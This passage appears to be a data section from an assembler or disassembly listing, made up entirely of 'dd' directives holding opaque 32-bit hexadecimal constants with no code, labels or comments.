		dd 3D35ABECh, 0C897113Ch, 0ABA389DEh, 1939465Eh, 0AD23CF7Fh
		dd 0EC142B48h, 76044F47h, 9A22C997h, 0F619DB0Ch, 0C5D90629h
		dd 9BDF559Bh, 591CBA3Fh, 0AFE504F9h, 75F11019h,	0F3C14F51h
		dd 0C00FDDDh, 61DA3EFEh, 484F467Dh, 0F0F11EF1h,	1C458594h
		dd 34B97C7Dh, 0D5DE109Fh, 4227C3DAh, 5F8A43E7h,	0D6C782CAh
		dd 0B09B0DE7h, 3B987744h, 0C3FAA234h, 98224F71h, 0DB9C3D0Ch
		dd 894F0A8h, 0E126DAF2h, 60345114h, 2EE99720h, 0E089193Fh
		dd 49D80CECh, 4D3612D9h, 0CEAC0B3Eh, 2847EAAh, 0C0B3C41Ah
		dd 8B4049A9h, 0C68FB374h, 0D3A46A8Dh, 0F3228D8h, 0E1904687h
		dd 36BD70A2h, 0E64DEDE2h, 715A5044h, 0C0B75EB8h, 9BF7EA9Bh
		dd 0B9D93766h, 5700C434h, 6E4977Ah, 0CB080384h,	1881F349h
		dd 7B7938FBh, 5242A193h, 0CB55274Ch, 0CF16ACFEh, 1B673E9Eh
		dd 0CCAA3C2Ch, 94BF283Ah, 403EF9BEh, 0A9B6C0F3h, 54AF9520h
		dd 0D362D2E0h, 2E0EB7B1h, 5FDD5EB6h, 4A3D990Fh,	2A2EF1F0h
		dd 4B2B8D72h, 740CE24Dh, 68E50EFAh, 0F508CC18h,	0D6FF2605h
		dd 8D6F1D02h, 0D1ADE929h, 0EA39A97Eh, 87AC19A8h, 851A854Fh
		dd 20FA1AE0h, 5DD1B6F4h, 93A4DD5Dh, 92FD2D35h, 9A5E2A26h
		dd 31B32F3Ah, 0D4070F09h, 5BCE2CE0h, 77AD644h, 1BECD012h
		dd 44B71F2Fh, 0C667A2FCh, 755138FBh, 56BC7AFFh,	714AEDE0h
		dd 0D7C43500h, 0FB45264Bh, 304A6BFEh, 5D560B40h, 70883E29h
		dd 959130F8h, 2B6FA06Eh, 7EE0B617h, 4BE02Fh, 0BF819186h
		dd 45796FE4h, 4A46E88Ah, 0DC587754h, 7977C943h,	99DAF793h
		dd 122C6303h, 3DBD51F1h, 17E0C7AFh, 0F907962Bh,	19D5A563h
		dd 78AB5DA5h, 0E171FD58h, 0E707A0ACh, 0EB9768DFh, 31B4AC0Ah
		dd 0E7AC2C68h, 0E78FBEDCh, 77C64F82h, 40D214F1h, 28A32F1Bh
		dd 6C175D6Ch, 0B89984B3h, 560FFC16h, 408D404Bh,	5F927EACh
		dd 0BC3124F5h, 4487CF50h, 88B766A8h, 0BD79BE9Bh, 0E15143AEh
		dd 0BD97F9C3h, 8631249Eh, 0F085DF17h, 0C0AF4705h, 145BF1DFh
		dd 7D67AE83h, 0A454FB62h, 23278153h, 6193A5h, 0DB1F90B9h
		dd 10D3A5FCh, 7989CE19h, 0A8F5EBC6h, 0BEEA11BFh, 1958E8F2h
		dd 63273BE4h, 135BA062h, 94D0AD6Dh, 826C7B02h, 0BA6E62D4h
		dd 0FB89B9E2h, 59A3F757h, 52EA23BAh, 0FE2FE40Ch, 0B018F338h
		dd 0E29A0BEBh, 3CC84CD9h, 0E5DE6F0Bh, 0A72D7EF6h, 0C77BB070h
		dd 4D58C0E6h, 57373BFFh, 7BB35D54h, 6D94EF6Bh, 95B45ED8h
		dd 9C585B13h, 32DE1A15h, 865A0AECh, 2E3F4C34h, 22572C79h
		dd 0C344A067h, 9446F267h, 496A7B22h, 895310D5h,	4C17A6F4h
		dd 8C3B5331h, 0B31E70A1h, 0DA548B98h, 0BB755953h, 0E3C6F6A6h
		dd 0D750082Bh, 0D18AAC71h, 711FF2CCh, 783763CFh, 852C2FDFh
		dd 5C7A3B90h, 0BC9E9400h, 55E92F01h, 22E9FE59h,	0A4A0A5CCh
		dd 0BB083BD0h, 0A334BA7Fh, 31FF97C8h, 0EECF60h,	5E3415A2h
		dd 169A88BEh, 40B7D669h, 2B78688Fh, 0E6F00B67h,	1490320Fh
		dd 0ECA76ABCh, 8B375D57h, 0BA1EEA1Bh, 8082AA8Fh, 219B4E83h
		dd 7F32BB1Ch, 0FCE0730Fh, 0BCBD7386h, 58785F69h, 7DD4235Ah
		dd 0E68A67A5h, 87BEA2BDh, 894CA5A5h, 24336306h,	9DF60B90h
		dd 0D57C4DC6h, 0D719F877h, 1B6F23D5h, 0D5A3DAFh, 4B366DA6h
		dd 32E84B48h, 6D41F593h, 7FC9111Fh, 8343F8D5h, 6A173B0Ch
		dd 7B5AFCCEh, 0AC5BDFA9h, 0B6952CF4h, 0E76FFB96h, 52EEC866h
		dd 11A3A130h, 5B57D64Bh, 9CCB3A09h, 2C862BC2h, 94B7C354h
		dd 3FCB21D6h, 87E4B8D6h, 0E9576C63h, 0CDBE30F1h, 0A0D6D8D5h
		dd 72357CAEh, 40B7080h,	0B17FD243h, 28500D69h, 785798F2h
		dd 495E67EDh, 0D1343139h, 4BFD1602h, 53B62960h,	0FB8B2BE7h
		dd 7C68D29Ah, 68041152h, 6A81B24Ch, 0B2890EE8h,	120C121Ah
		dd 95B37186h, 2922A1D9h, 8AF51ADDh, 92141C4Fh, 1A946AC2h
		dd 0D2808B44h, 0FA0E3DB6h, 220334ABh, 0C1046BEFh, 2963D4CFh
		dd 5F40FDB0h, 3792E1DEh, 0AAF96227h, 7B839366h,	0F0781C20h
		dd 129624A3h, 0D628164h, 37678156h, 54798B9Bh, 6027156Dh
		dd 1DCA8139h, 0BBDC905Fh, 6FC08DBBh, 9B58B4A1h,	7AAB45BAh
		dd 4D6DF1AEh, 0B11740F0h, 240AC6A1h, 5E61E6FAh,	0A1E3DC63h
		dd 72C26C72h, 4B67BBDFh, 54C5AD6Ch, 1C7E5EE2h, 10F7D114h
		dd 8428543Dh, 0A1D3A9BDh, 98B2BE14h, 14AA0590h,	8D832E3Bh
		dd 4148E0DDh, 1AEC6893h, 60DDFF37h, 0A04E8111h,	0DC7DB361h
		dd 97F2AAFBh, 2443393h,	52CBCFFh, 8B7C23E4h, 0B9A38EB6h
		dd 3A51073Ah, 0BAB684B7h, 0D673A479h, 592793C5h, 0CDAFE585h
		dd 74F5F91Dh, 163A35A1h, 5D3430D7h, 6B359CF8h, 2A2DE2Bh
		dd 0BC62B69Ch, 0E458A809h, 0C27D2DDh, 8EE78C03h, 33930306h
		dd 0CFAE52C3h, 6FFD17EAh, 0B774F161h, 0A1493526h, 47F9E012h
		dd 0E53415Fh, 0A2444D40h, 55FD1D85h, 49DA713Fh,	98CCBA77h
		dd 6D73B779h, 3C83EEBDh, 9B3F5213h, 74E01D01h, 0E14395Ah
		dd 0FC0063DCh, 411C3396h, 1E193DFh, 395489B5h, 5AB9D990h
		dd 51B7CD32h, 0E2665CE1h, 4AFE856Ah, 18AA4D6Bh,	0C58CFE7Bh
		dd 766AD58Fh, 889CA009h, 3EFFA501h, 0D7DEFDB0h,	0CE34F002h
		dd 0E8AE97A9h, 75958747h, 0C63E4EEAh, 0A6080747h, 0BC390926h
		dd 4A971C8Ch, 62BC972Ah, 4A9CEB65h, 64465FAFh, 0E44F995Eh
		dd 41074A4h, 9BE21014h,	0AB3BC3D1h, 43895EB7h, 0CDD9FD55h
		dd 0EFAFF85Ch, 0D0C1530Bh, 2FF2606Bh, 85E26F1Eh, 12B1AA29h
		dd 6A787D33h, 0EE30440Bh, 0F8889DC4h, 14A6AAF9h, 22E343C2h
		dd 8666A6E3h, 8687BCh, 6F633BF6h, 0C9854C57h, 381E38B7h
		dd 0D13F6BDAh, 2BC30720h
		dd 8DB16AC8h, 75030A54h, 9F07A861h, 49DACA1Eh, 0ED118869h
		dd 0AED016D0h, 4EE35F96h, 95C82780h, 61A51CB6h,	0BDDDB2FCh
		dd 0B32922F7h, 58A2045Ah, 24312E49h, 53D8C2F2h,	0BB639BB1h
		dd 97B7D5E6h, 0E5E0ADCAh, 0C264391Ah, 79F8A44Fh, 748B4382h
		dd 0F691BEA9h, 0FE84FF8Ch, 62A7865Fh, 0F02ACD0Ch, 0C5DA3D86h
		dd 677054C4h, 4B3301B5h, 0F9D6CD2Eh, 45AA61D5h,	77EE0FBEh
		dd 8C3D478Eh, 45612DD7h, 5F34C08Ah, 2BAB7575h, 594F1C50h
		dd 0E81B9B88h, 94290F5Bh, 90078C55h, 6E4F8CA6h,	546A8813h
		dd 0F302C1F1h, 0B3DE8F6h, 0E26B2A89h, 9D373549h, 46780967h
		dd 928F9513h, 0A5BFD3Ch, 0EF615480h, 65F07617h,	51D9CAECh
		dd 0C42D6C1h, 0D1D16CD7h, 0D7E6843Ah, 0A3152EB4h, 34C270B0h
		dd 4C94FBE1h, 3172F37h,	9220E1F0h, 0C6AA2053h, 4C266676h
		dd 0ACA3AF6h, 9665FDFh,	25C5A383h, 6FEDC431h, 7FA177D3h
		dd 9489A676h, 6B05A029h, 959DA340h, 0E68F9BA4h,	0D5C82A28h
		dd 0E8740EF1h, 8B6B0F05h, 0AB487994h, 44F01160h, 680C8558h
		dd 43B2D921h, 4CDEC640h, 946943E5h, 0C98D0A3Ah,	4D2B83E2h
		dd 17F13965h, 704DE2A9h, 79AACC34h, 890C0E16h, 0A55F059Fh
		dd 0E7883F04h, 96AD623Eh, 3EBF455Dh, 0AA98E573h, 0C183C3Dh
		dd 729320F0h, 121C60D8h, 0BA9C0B3Dh, 0CAD578Dh,	84215F8Eh
		dd 0A5127BF7h, 3B35A397h, 1B42485Fh, 10A0514Ch,	0DD9BFC6Dh
		dd 11465671h, 0FFDA5D99h, 393F1946h, 1A7A6144h,	34E250E9h
		dd 8D098F8h, 0FD8697D8h, 0DDAC84C1h, 46D1B6FBh,	0E33EDA6Ch
		dd 61FBC977h, 0FE476ABh, 0DA426E9Eh, 15E8FEF0h,	0B18AB9B8h
		dd 7D3D2EDh, 4D740EAAh,	21950F8Bh, 442B7837h, 4998005Ch
		dd 0CA240411h, 0AF6FE5A8h, 0F64FADDEh, 5666518Ch, 0E88C6383h
		dd 32925653h, 96E4D84h,	95E7CE5Ch, 406B5C51h, 1F8ACD85h
		dd 3813C3BEh, 1AC371B0h, 0A0CBB205h, 1167AA2Ah,	6CB4B54Ah
		dd 0F681892Eh, 85B47D46h, 39EFD450h, 688146B9h,	0DFCE2223h
		dd 649CEAE5h, 9E923785h, 0CFEB7A93h, 0E30A4F87h, 3667E007h
		dd 0FC7B55F2h, 5D9A2716h, 2D90DBA5h, 1CEBE5FBh,	0B067B5EDh
		dd 41F40B7h, 6349AC7Ah,	625DAE63h, 31899F88h, 899B7D3Dh
		dd 71B8F038h, 0E6541557h, 0C6988554h, 67CC3E87h, 0EFFD3E3Ah
		dd 7AF0D5E7h, 0F7E63DADh, 0BCAAD368h, 307E5BD1h, 0E7BEDC2Eh
		dd 0BAEEA50h, 0B18DC1Dh, 882A0738h, 0A089F8CDh,	0D726D4B7h
		dd 0A85D1578h, 5999B1E6h, 0B2FA6DDFh, 0FC1851BEh, 0EE50AFB4h
		dd 528510F4h, 41FC4728h, 1A4F3DEDh, 6F4C60C5h, 0C6F100CDh
		dd 18CF8C44h, 86D2A2A8h, 5DE9DD76h, 0DF3A4B21h,	0EF1BAE9h
		dd 99DA956Fh, 6F129F8Ch, 700E81B0h, 6ABB5D7h, 62739DFh
		dd 42DAFAEh, 26D129Dh, 357004C0h, 0FD80C3CAh, 39CF60DBh
		dd 5B3E284h, 0F424F4FEh, 0BE3D4339h, 91C56D59h,	0EF36744Bh
		dd 0AE41932Fh, 7741FCh,	0FA68D70Ah, 9940879h, 0EAD14047h
		dd 6EDC05C5h, 0A47926D2h, 66273DA4h, 854E390Ch,	71434236h
		dd 0F3C0698Eh, 0A1636B55h, 0B6AE48EFh, 0AB296571h, 0C9F58840h
		dd 93BA0ACAh, 9D65AF8Eh, 3557E8ADh, 94101046h, 225447F7h
		dd 0D3314E9Fh, 0BA987929h, 8B7B5A91h, 0FB5922FFh, 2DD0A4F0h
		dd 0A753AF66h, 596BBF12h, 0C3392A00h, 326D3BB1h, 0A60C899Dh
		dd 0CACEB07Ah, 10E8680Fh, 2B1C77E0h, 8FE13E0Eh,	3DF8F068h
		dd 19B052CDh, 50322E33h, 8C4C725Dh, 0D8758468h,	9A6211DBh
		dd 0C5FAA058h, 9BBD48Dh, 78FEF466h, 0FDC1DBC9h,	12DAC2EBh
		dd 6EE8B112h, 107E21DCh, 3224685Ah, 9CA5AE6Fh, 90A0E0EEh
		dd 22A11756h, 988958D5h, 0E1E111E5h, 19A04EEh, 9CA786DDh
		dd 6507A36Ah, 7A9325A4h, 45BB04FFh, 0C4DF75A5h,	3613F21Eh
		dd 44B5AE48h, 52ECF17Fh, 94D654C1h, 0DD934508h,	30AC5AEDh
		dd 0EE8B1B39h, 0F2F9AF12h, 0E2873148h, 0FFCEACCDh, 0BAF8375Ah
		dd 0E5006088h, 0B47B0AACh, 5652CD5Ch, 51FCCD83h, 0A66D83C5h
		dd 790C7F32h, 0B3B95FF4h, 86A4C2A9h, 689FD28Ch,	9B332579h
		dd 0D6783F6Fh, 319CAEF9h, 3CCF0732h, 0AA34BC1Eh, 1D5A4C5Eh
		dd 3B996756h, 0AE9DC087h, 4476B6BFh, 0CC63E9FCh, 59A714F1h
		dd 37791D59h, 0E640A98Dh, 30E27328h, 0F358839Bh, 79921972h
		dd 46AB128Eh, 97189E4Ah, 32190B81h, 0F4539E71h,	83A4F503h
		dd 89977BDFh, 0FD92194Eh, 5A02A7ABh, 0BA67ABFh,	0B26D811Bh
		dd 885C3FCFh, 0D37F9E52h, 0F315014Ah, 5BEED2ADh, 6A62AA9Fh
		dd 771EE5BDh, 283DD68Fh, 0ABA1C5B7h, 20217816h,	37B23AAEh
		dd 16187B46h, 0BA41A755h, 0DB1AC997h, 3541BF1Ah, 595ADCC9h
		dd 984D3742h, 3376487h,	253B01D8h, 96B78DBEh, 0AD946C90h
		dd 0D183A899h, 6583752Ch, 312326DAh, 61D03022h,	9D268507h
		dd 42ABB99h, 0B2E1CA23h, 84A51FCBh, 0A4DBED83h,	3FF5D39Ch
		dd 1B841CDFh, 0B1C984B5h, 0E2AF8872h, 0B317250h, 0C75F888Ch
		dd 9DE03FA4h, 94270DAAh, 30897A52h, 3857A3Eh, 716D9ECCh
		dd 0B5902225h, 5BFDA9B1h, 1E824756h, 0DEC20195h, 0F4EFA34Ah
		dd 223CC0BFh, 0CC72ADEh, 0C4B09035h, 8332E717h,	0DFA361B0h
		dd 4CF86482h, 692E972Fh, 887DC4B6h, 0ECE6217Ah,	66BC34D7h
		dd 65E444D5h, 0A6F5B1F0h, 4234B31h, 64F7BB3Ch, 5E8BEF35h
		dd 8845906Eh, 630333B3h, 364CE4B4h, 0F09088B1h,	0CA47B8E7h
		dd 0B1F75537h, 0E7880D6Ah, 7118E442h, 0CF05374h, 6381C91h
		dd 48DA5128h, 0AA097952h, 771E1495h, 57735225h,	3D67A226h
		dd 0EFAF4BB7h, 318BDA4Fh, 6EBDDD40h, 1E16AFC1h,	15F444D6h
		dd 0E99B52ABh, 31782420h, 1439A6A1h, 7E9320FAh,	0C26BAC5Eh
		dd 7389D4FCh, 0AD3AEC3Ch, 0A115C159h, 308CF06Ah, 0C4965364h
		dd 80767F85h, 0EA24D655h, 63930B9Eh, 0F8E6BB7Eh, 618D7BD0h
		dd 651A84F4h, 0F8079C8Eh, 175E3BBAh, 5013A25Ch,	965AA38Eh
		dd 57848FB3h, 38A2B26Dh, 3DCDCFE8h, 52C02B53h, 8C9BA245h
		dd 1A5A1093h, 3CCD34C7h, 1F4D4B7Bh, 254C7CAEh, 0D37F5728h
		dd 3234675Eh, 0E7B8303Ah, 7DC59A4Dh, 4590CED3h,	0D190DEEAh
		dd 647263FCh, 866A8629h, 82C1973Ch, 1668E100h, 696D0036h
		dd 31CD5038h, 85CF8BE1h, 0C6AEC443h, 5A1CC63Bh,	73EF4E4h
		dd 809FBABCh, 8035BDFAh, 31742728h, 1D13C0FFh, 0C95ED788h
		dd 827A7294h, 0F9C4D28h, 23EF16B0h, 969142A2h, 6B5DCC55h
		dd 2F8E69D5h, 272C425Fh, 0FE5F5496h, 0AAAF4D31h, 98488CC9h
		dd 0E457C57Ah, 58BE4C47h, 949188F8h, 0CACAB4DDh, 1133B99h
		dd 7E0E4003h, 0F7436F3h, 0EB5122CDh, 86693B3Ah,	27A49D93h
		dd 911D3D9Ah, 0EEDE0911h, 0B4DBAC6Ah, 285B4FE5h, 35FBCEE5h
		dd 7306FC3h, 0F59DCBFEh, 0EE8084Eh, 40B5725Eh, 3A3606ECh
		dd 0E45D8130h, 24BC3774h, 39303175h, 0A49BD014h, 8629C6CDh
		dd 3FE8F494h, 7C3BD917h, 3E67A94Fh, 0DD33E5FEh,	4AC186C5h
		dd 0D2EBDE4Dh, 6DB8C4h,	0E39BAB71h, 74F32F72h, 5DC1026Ah
		dd 9FB0C79Bh, 0C3BEFD48h, 6487161Ch, 8EECBFB1h,	82AD02EFh
		dd 0FCB7F35Fh, 919F36D9h, 0F3674A82h, 0AEF3FE24h, 86589EF7h
		dd 780F74D1h, 9B3E5927h, 42921C21h, 7F2817E4h, 0FFA08A32h
		dd 0A2224680h, 232C3097h, 8BBAA8DFh, 531D0D7Dh,	9A026FA4h
		dd 6214352Dh, 0E38053B2h, 44EB3128h, 0A5CF8C31h, 0D3BD9EDCh
		dd 0C9A1667Bh, 31AA6FB1h, 6E893A59h, 0D279BC25h, 0AA6261A5h
		dd 0D40B25C6h, 596A92BDh
		dd 40D723C2h, 7686131Ah, 50EBA91h, 57035CBFh, 8CB6ABADh
		dd 29D34560h, 3A9C03B0h, 9D61DA47h, 0BF2D89FAh,	171D9EB3h
		dd 999D3D52h, 0ADBE89BEh, 896A7813h, 6B312292h,	8DE6420h
		dd 2E1CCEE7h, 417D1E60h, 0D351EC26h, 44E6CB0Ah,	50393874h
		dd 40E5E632h, 735F34Bh,	43273F65h, 51D0CF02h, 51810520h
		dd 5E78D04Bh, 0F99858DCh, 5DE3B295h, 2387DA3Dh,	0A7880818h
		dd 9BA62B31h, 85A53B61h, 6A379FAEh, 8EB7D37Dh, 89801A54h
		dd 0D52BC16Eh, 0F2892A6Dh, 8D09C0EEh, 0F16D39DBh, 6E811FAh
		dd 0CB54DB13h, 8A20C8B3h, 7A70E973h, 0B9D74D9Fh, 90F84BD3h
		dd 0AD799B5Ch, 0CF81BA1h, 0A42EC3F1h, 0A3487BDh, 4040CD40h
		dd 61D1AA02h, 0FFC5146Bh, 785EED2Dh, 0EE45C00Eh, 5E51A002h
		dd 0DF53950Ch, 6BEC037Fh, 245E6D48h, 0B9B2865Bh, 0FA806A4Fh
		dd 420159BBh, 17E14669h, 83418B09h, 5950055Bh, 42519E68h
		dd 0EAE9A787h, 0D7FD0372h, 0D4FD036Ch, 43C0DC01h, 4F1E7655h
		dd 0EFC1303Eh, 0C47E94FBh, 0BE3A9EE3h, 5FBC51ADh, 0B2FBB539h
		dd 0CD1567C0h, 56EF17E9h, 4CA7D6Fh, 0BD791188h,	913727CBh
		dd 576DDF3h, 0ACB9312Dh, 29202D4Ah, 0F07A16E7h,	0F644E09Eh
		dd 0BF06F5E5h, 7C521477h, 11297F2Eh, 686378C3h,	2C26B579h
		dd 0FFCF8CBBh, 9327FED0h, 39B33770h, 0F86B280Ch, 21C2212h
		dd 6D08A0DBh, 1069A962h, 9A06B51Ch, 687ABDFCh, 8849831Dh
		dd 0FA539F69h, 0ECC71F2Eh, 2857A412h, 0FC1C107Ch, 0AFBEA93Bh
		dd 780AEF75h, 8315C8E3h, 2C9B3D16h, 0DA7BFCDBh,	48210FBh
		dd 7C5BB5C8h, 88DB08EFh, 4106F8B2h, 0FE2EF672h,	71FAAF94h
		dd 0CE570242h, 0F2EE75FFh, 53C35F01h, 29CC0F4Dh, 0CC36F448h
		dd 12268F34h, 73F3E6F2h, 304342A9h, 0CE889C59h,	0D0A52394h
		dd 0EBDBF904h, 48EC8513h, 6083D076h, 0D0610F8Fh, 12759039h
		dd 463F67BAh, 0C36F6BBFh, 2A1CBE15h, 4B390961h,	0E57A05CCh
		dd 7C890C8Fh, 5D9A90ADh, 7D9C495Bh, 0BF83AF3Bh,	8DEFACB4h
		dd 0B24CDA59h, 15BBBEBDh, 8718EA3Ah, 4C0439A1h,	7A970CA0h
		dd 9508CF8Bh, 57065E21h, 9FA498ACh, 0E60AFD03h,	899C9269h
		dd 173BC8E9h, 3FAF9209h, 160AF48h, 0C221DBB4h, 0AA11A5D4h
		dd 45416A7Eh, 8E7D3E1h,	0F03C663Dh, 2162BDE1h, 0B0930401h
		dd 356BC5B3h, 5750B617h, 5310E6A5h, 661F33C1h, 4955C939h
		dd 60CD8065h, 39344B3Fh, 2D5B04Ch, 24231621h, 0D71D27FBh
		dd 5831C09Dh, 0E6D384BFh, 3A35A5BDh, 9766142Bh,	46CE1AACh
		dd 704D726Bh, 6F5847A4h, 92812C79h, 0C2A7E7Fh, 0BFB31598h
		dd 5D60FC2Dh, 9241427h,	0FE260562h, 0FA551900h,	0D0F55E61h
		dd 0D135560Bh, 506C61C3h, 0C394627Eh, 2297E88Ch, 2745F038h
		dd 0A5B8004Bh, 51FDA683h, 8ECE1BE6h, 0D76DA803h, 0FCAEB0D4h
		dd 0C0284D0h, 0B1BFA1AAh, 0D40BCA3Bh, 2BD35A51h, 2FADCF4h
		dd 83BC278Bh, 268DCB28h, 0CCF13520h, 37B0B62Dh,	0F445B93Eh
		dd 99351632h, 43F240B7h, 75E8AACBh, 4EA0F1D7h, 7F177FCBh
		dd 0FF91BC57h, 8100E13Ah, 6D557A58h, 0F1CEBF56h, 1AC406DCh
		dd 0EBA544Eh, 2478624Bh, 85B71EC7h, 4AFABB1Ah, 472391A5h
		dd 0A32BA225h, 9D876Eh,	7E120DDDh, 2B78033Dh, 0D620C48Bh
		dd 0B83BE819h, 0E4C3C8B4h, 0FA82C2B0h, 55D3B83Bh, 0EE03D5F1h
		dd 95897D44h, 5760F8EBh, 0EDF89C5Dh, 715CB2F6h,	72EB77FFh
		dd 0D766A68Fh, 7C4AF6B1h, 0FD7E6EC5h, 1E10CE94h, 57AB56A1h
		dd 0D776149Fh, 0EA5ADFE0h, 0E41A223Ch, 0E4A418DDh, 88086C0h
		dd 64625AFDh, 0C70BF768h, 3ED5486Dh, 78EA67A3h,	8547CA9Bh
		dd 9062A6B2h, 0BE751561h, 25F3BDAAh, 8E4188C8h,	2958D884h
		dd 4585B63Eh, 58608115h, 7F2E7ACEh, 0F8B1D2A1h,	7776040Dh
		dd 0FCEB7765h, 0A091E875h, 0E88D8CF4h, 0C54DC54Ch, 2073248Dh
		dd 38694C8Fh, 7FF1CCD3h, 8CB535A9h, 2EC4F1FCh, 5320723Fh
		dd 6E7103h, 2FD46A32h, 53D5E101h, 308DCFC8h, 78BA05Eh
		dd 0FD4C8C18h, 0E6DCC610h, 5C0D28CFh, 2D042405h, 25CE50FDh
		dd 0AD7A977h, 8CADA39Dh, 0E9F263FBh, 63215E88h,	5676E0Ah
		dd 3E657485h, 10B92CC8h, 7077693Ah, 11D562E3h, 0FD64A22Ah
		dd 46148CFEh, 83416F12h, 4D5D5ADDh, 0CD0A9C1Dh,	0ED2F4AF9h
		dd 7951AB58h, 0AE30575Ch, 132D1CD7h, 778136Fh, 7B6C4E09h
		dd 9EEABD81h, 1A695C6Ah, 671341F5h, 54CB843Ah, 0CAA2CF2Dh
		dd 7C87ED40h, 79423B24h, 1C823497h, 95531887h, 22D9EE8Ah
		dd 61A7255Ch, 0D9D8022Fh, 0B7FB6611h, 69B3A887h, 0EFF5ADD8h
		dd 0D56D5DB6h, 20DE25B1h, 2724584Ah, 0D5845C43h, 21A440F9h
		dd 5A90A5F9h, 40E2E716h, 317C73BCh, 2F239341h, 249C4047h
		dd 4BC5469h, 2771328Ch,	22D4CFF2h, 0DA6FA5A5h, 0FE25EBA2h
		dd 0EB1EF4E2h, 0F9B6ACF3h, 9DCCB6CEh, 1938438Ah, 783F7BE5h
		dd 0B657EE34h, 9267B4DFh, 4CC2F7A7h, 50A851C9h,	417CA467h
		dd 6F1EEBAEh, 277A6288h, 0C3490051h, 3440B9BFh,	8401C122h
		dd 0FC192706h, 758CAE5Eh, 4F0F3A7Dh, 96B01CB6h,	95838BE3h
		dd 9DB0BBF5h, 28C6FB20h, 90DC9877h, 0E0C5EB14h,	0F10D0210h
		dd 5E7C23E5h, 660435E6h, 0FACD5EAEh, 0DAF08879h, 0D8C7FE49h
		dd 29DB97AEh, 753EE72Ah, 0C7AAF29Dh, 59A2CE0Ch,	80A468BCh
		dd 0AE28030Ch, 6C91547Ch, 482C5656h, 0E1075C56h, 0A17E6D3Bh
		dd 76792579h, 6B74F6DDh, 722037A8h, 0B584A0B9h,	0D7F05370h
		dd 21A5313Dh, 5870C915h, 0C4380218h, 9FBAF325h,	0D324B9C8h
		dd 297E2F60h, 0CEC8AEABh, 15E41BCAh, 1D8E8520h,	64FA3454h
		dd 15EF064Bh, 0E48C6DCFh, 0D866BD93h, 0D333F944h, 3E721FD0h
		dd 1A9ED712h, 0C7CBEEFCh, 99A356F8h, 0F6D54E35h, 12EA31E6h
		dd 0AD6E0896h, 6E7072D5h, 32B873E1h, 48D97278h,	0A978E570h
		dd 0F7EC36FBh, 88BD1791h, 679684C8h, 624F20ADh,	47729BC6h
		dd 0FDE10A49h, 0CB54D7E3h, 85579657h, 0CA00F975h, 75CDCA5Ch
		dd 0A9FFE1B0h, 93B3D25Eh, 0E2941039h, 686A02B6h, 9639DD0Eh
		dd 0D35C53B2h, 37B6B435h, 0E512A2CCh, 0F8C710D4h, 0A2CDEF0Bh
		dd 5A21F3F3h, 68F22319h, 78DFA376h, 4A0B4916h, 1311AA27h
		dd 1C4E9998h, 277EAE69h, 2454D5D2h, 0F0F737DFh,	0C23D8AEDh
		dd 8934F0DFh, 0A7135B41h, 569CCBDAh, 1BD96854h,	8E195D7Bh
		dd 57788AC4h, 0C14C806Ch, 0CEE1A444h, 7D595A86h, 79F3622h
		dd 0F82AAA02h, 0FF978CA1h, 526914C5h, 0CD6FE0D6h, 0DAA6600Ah
		dd 0D96E75E5h, 0CD968A60h, 6C6E5159h, 525EB0ABh, 63F7EDEh
		dd 0DBEC8984h, 0FAB66D11h, 0D06DF4BFh, 0C30CD4h, 4BF9A845h
		dd 4D4A6814h, 84E60BADh, 4DD6AC7Fh, 0DE8CAE6Ah,	0A1645FE2h
		dd 0C79EDB9Ah, 0A3AEA489h, 0CCFCCBD4h, 6726ABC8h, 171A445Dh
		dd 2BE5E84Bh, 9C61A3Ah,	93468393h, 0CA0FDA69h, 5693CD31h
		dd 5F369730h, 5F5A6C29h, 878C688Fh, 5FA51E79h, 0C155E225h
		dd 0CDC207C6h, 3A4B7907h, 3A45EFD9h, 0B148104Bh, 9E381E30h
		dd 0F97A875Ah, 0C9B4000Ch, 2B087B5h, 47482A62h,	6572FB4h
		dd 9971EFEh, 14D9ACC7h,	36C25052h, 290701C7h, 0F6A80EEDh
		dd 48D2528Dh, 0E911EE38h, 1261B71Ch, 1A4A06FAh,	5D12508Eh
		dd 0C83BEDFh, 0FDBECB1Ah, 573DE2A3h, 3A49D2C1h,	6E3A5Dh
		dd 0B6D91D83h, 58FF14A1h, 346EF517h, 29D840F6h,	22C9DE70h
		dd 92268F73h, 77DBDE6Eh, 0E1B67276h, 0C95D5039h, 0C8E9D096h
		dd 0F84D0BD4h, 0C6E13994h
		dd 9B491225h, 3B937C1Ch, 12404D4h, 0E8CD54F3h, 278061D1h
		dd 961E464Eh, 88FB7D57h, 0CA5F9FCAh, 1D815647h,	0CAD02180h
		dd 285E6A2Ch, 744065C1h, 0EBEB301Eh, 0FA0A8F21h, 69CC2646h
		dd 808834FFh, 0E645582Eh, 6A901734h, 231387DDh,	54C30EA8h
		dd 4E018EB2h, 0F551C73Dh, 3176CAC0h, 7BE16B26h,	8B8F9B97h
		dd 0E8A4F9C5h, 4E721371h, 957CCCB1h, 0E01D11B3h, 0A2CB5DB6h
		dd 0A49F1D83h, 327515A2h, 627864F5h, 0C02A2222h, 20BE0A4Ah
		dd 2FF5638Ch, 0C02B77EAh, 86491A2Ah, 0B2813770h, 0BC44E464h
		dd 2A6FD700h, 87A6D49Ch, 9EEF1FD3h, 271AE2FEh, 140890A3h
		dd 0C2AC1DBBh, 0EE9A10B1h, 61C66A38h, 2916851Fh, 39525905h
		dd 54F0116Bh, 6B360B9Bh, 16AD051Fh, 0F1871E22h,	746B721Fh
		dd 0C294366h, 0E1E05F40h, 0C79C33BFh, 3FA235E3h, 9FDB1CB8h
		dd 95B67A1Bh, 6C4DDEEAh, 7F5ED91Bh, 0D79E317Ah,	0B25B84BDh
		dd 0E0A28711h, 0AA4157A6h, 7AB7174Fh, 946E5305h, 3B984A61h
		dd 1B2B09C9h, 1E22817Eh, 86D90861h, 7DF1B9FBh, 0FD9ECE1Ch
		dd 796AB429h, 93E9D9B2h, 0D8078E54h, 18780B70h,	77D862EFh
		dd 17339C29h, 1F4229C8h, 0B61AAD9Bh, 16954277h,	9A84E17h
		dd 0D4CAEF1Bh, 0D461A369h, 0A477550Eh, 9A377B60h, 0F99DA86Ch
		dd 5AE9C45Ah, 429A2126h, 0E10C5D46h, 5F4B4181h,	414B158Bh
		dd 0AF75632Eh, 50C7F7BFh, 64A526C9h, 1084F1CCh,	86606DECh
		dd 43EFD38Ch, 0AF013025h, 0DBF12184h, 633BC622h, 71A20927h
		dd 0E038B215h, 0FEAE0C1Bh, 0BDAE9DB6h, 11FDD073h, 0F33A502Bh
		dd 1B516583h, 0AC36CD5Ch, 0ABFF2713h, 49C1D7B4h, 0C4A62F19h
		dd 665E09EEh, 54847081h, 5B61B8A6h, 39989E96h, 1F2ED5C7h
